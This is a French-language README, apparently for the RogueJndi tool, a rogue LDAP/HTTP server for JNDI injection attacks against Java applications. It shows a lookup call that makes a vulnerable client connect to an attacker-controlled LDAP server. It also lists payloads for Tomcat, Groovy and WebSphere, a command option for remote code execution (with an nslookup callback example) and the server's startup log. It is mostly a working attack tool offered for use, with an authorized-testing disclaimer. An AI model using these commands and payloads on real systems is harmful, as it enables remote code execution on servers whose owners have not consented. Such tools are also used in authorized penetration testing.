
Un serveur LDAP malveillant pour les attaques par injection JNDI
Un serveur LDAP malveillant pour les attaques par injection JNDI.
Le projet contient des serveurs LDAP et HTTP pour exploiter l'API Java JNDI non sécurisée par défaut.
Afin de mener une attaque, vous pouvez démarrer ces serveurs localement, puis déclencher une résolution JNDI sur le client vulnérable, par exemple :
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
Cela initiera une connexion du client vulnérable au serveur LDAP local. Ensuite, le serveur local répond avec une entrée malveillante contenant l'un des payloads, ce qui peut être utile pour parvenir à une exécution de code à distance (RCE).
En plus des méthodes d'attaque JNDI connues (via le chargement de classes distant dans les références), cet outil apporte de nouveaux vecteurs d'attaque en exploitant la puissance des ObjectFactories.
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
Les paramètres les plus importants sont le nom d'hôte du serveur LDAP (-n, qui doit être accessible depuis la cible) et la commande que vous souhaitez exécuter sur le serveur cible (-c).
En alternative à l'option « -c », vous pouvez modifier le fichier ExportObject.java en y plaçant le code Java que vous souhaitez exécuter sur le serveur cible.
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Java v1.7+ et Maven v3+ requis
mvn package
Ce logiciel est fourni uniquement à des fins éducatives et/ou pour tester des systèmes que l'utilisateur a l'autorisation préalable d'attaquer.